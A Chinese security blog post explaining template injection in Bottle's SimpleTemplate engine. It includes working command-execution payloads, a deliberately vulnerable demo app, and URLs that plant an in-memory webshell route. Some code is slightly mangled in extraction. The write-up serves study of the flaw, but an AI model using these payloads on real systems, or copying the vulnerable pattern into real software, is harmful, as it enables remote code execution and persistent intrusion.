表哥又跟大家分享知识了!!!
气温骤降大家记得加衣哦!
zh...ēn... ...冷...ěng... ...啊...a... ...
冻...òng...sǐ... ...我...o... ...了... ...
https://xz.aliyun.com/news/17430
- 简单易用 API 设计简洁,适合快速开发小型 Web 应用或 API。
- 自带 WSGI 服务器(基于 wsgiref),也支持 Gunicorn、Paste 等服务器。
- Bottle 自带一个内置模板引擎,称为 SimpleTemplate(stpl),不依赖第三方库。此外,它还支持其他模板引擎,如 Jinja2、Mako 和 Cheetah,但这些需要额外安装。
- 模板名称(即模板文件路径,如 index.tpl)
- 模板字符串(如Hello {{name}})
- 模板对象(如 SimpleTemplate 实例)
def template(*args, **kwargs):
"""
Get a rendered template as a string iterator.
You can use a name, a filename or a template string as first parameter.
Template rendering arguments can be passed as dictionaries
or directly (as keyword arguments).
"""
tpl = args[0] if args else None
for dictarg in args[1:]:
kwargs.update(dictarg)
adapter = kwargs.pop('template_adapter', SimpleTemplate)
lookup = kwargs.pop('template_lookup', TEMPLATE_PATH)
tplid = (id(lookup), tpl)
if tplid not in TEMPLATES or DEBUG:
settings = kwargs.pop('template_settings', {})
if isinstance(tpl, adapter):
TEMPLATES[tplid] = tpl
if settings: TEMPLATES[tplid].prepare(**settings)
elif "n" in tpl or "{" in tpl or "%" in tpl or '$' in tpl:
TEMPLATES[tplid] = adapter(source=tpl, lookup=lookup, **settings)
else:
TEMPLATES[tplid] = adapter(name=tpl, lookup=lookup, **settings)
if not TEMPLATES[tplid]:
abort(500, 'Template (%s) not found' % tpl)
return TEMPLATES[tplid].render(kwargs)
如果 args 非空,则 tpl 取 args[0] 作为模板(文件名、字符串或 SimpleTemplate 对象)
for dictarg in args[1:]: kwargs.update(dictarg)
如果 args 传入了多个字典参数,kwargs 需要合并它们。
template("index.tpl", {"name": "Alice"}, {"age": 25}) 等价于 template("index.tpl", name="Alice", age=25)
template_adapter 默认是 SimpleTemplate,可用于替换其他模板引擎(如 Jinja2)。
lookup = kwargs.pop(template_lookup, TEMPLATE_PATH)
lookup 来设置模板搜索路径
tplid 由 lookup(模板路径)和 tpl(模板名称或内容)组合而成。用于缓存模板,避免重复解析。
TEMPLATES 是全局缓存,存储已解析的模板对象。 DEBUG=True 时,每次都重新解析,避免修改模板后缓存导致更新失败。
if isinstance(tpl, adapter): TEMPLATES[tplid] = tpl
如果 tpl 已经是一个 SimpleTemplate 实例,直接存入缓存
elif "n" in tpl or "{" in tpl or "%" in tpl or '$' in tpl:TEMPLATES[tplid] = adapter(source=tpl, lookup=lookup, **settings)
如果 tpl 是 字符串,并且包含 n、{}、%、$,则认为是模板字符串直接解析。
else: TEMPLATES[tplid] = adapter(name=tpl, lookup=lookup, **settings)
否则,认为 tpl是 文件路径,从 lookup 路径中加载。
abort(500, 'Template (%s) not found' % tpl)
如果模板加载失败,返回 HTTP 500 错误。
render(kwargs) 传入所有变量,渲染最终 HTML。
- 变量插入
- 逻辑控制(条件、循环)
- 代码执行
- 过滤器和函数
- {{}} 花括号 只能执行单行表达式。 但是不用分隔符分隔
{{ __import__('os').popen('whoami').read() }}
- {{! }} 只能执行单行表达式。也不用分隔符分隔
{{!__import__('os').popen('whoami').read() }}
- 换行后% 之后换行与html分割
% __import__('os').system('calc') 直接执行 也可执行多行python表达式如下:
import os
"id")
os.system(
- <% ···%>*块级代码
<%
import os
os.system("id")
%>
from bottle import template, Bottle,request,error
app = Bottle()
def index():
result = request.params.get('cmd')
return template('Hello {{result}}', result=result)
def index():
return 'Hello world'
if __name__ == '__main__':
app.run(host='127.0.0.1', port=8888,debug=True)
传入cmd 可以进行代码执行
跟进装饰器的route函数
在代码的最后 调用add_route函数
lambda arguments: expression语法很简单.
http://127.0.0.1:8888/shell?cmd=app.route("/memshell","GET",lambda :__import__('os').popen('calc').read)
http://127.0.0.1:8888/shell?cmd=app.route("/memshell","GET",lambda :__import__('os').popen(request.params.get('cmd')).read)
我们向/memshell路由底下写入内存马 接收get传入的cmd参数
当然bottle框架中还有其他思路进行写入内存马 在这就先提供简单的一种思路
原文始发于微信公众号(SKSEC):【表哥有话说 第115期】Bottle框架的模板引擎安全问题分析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论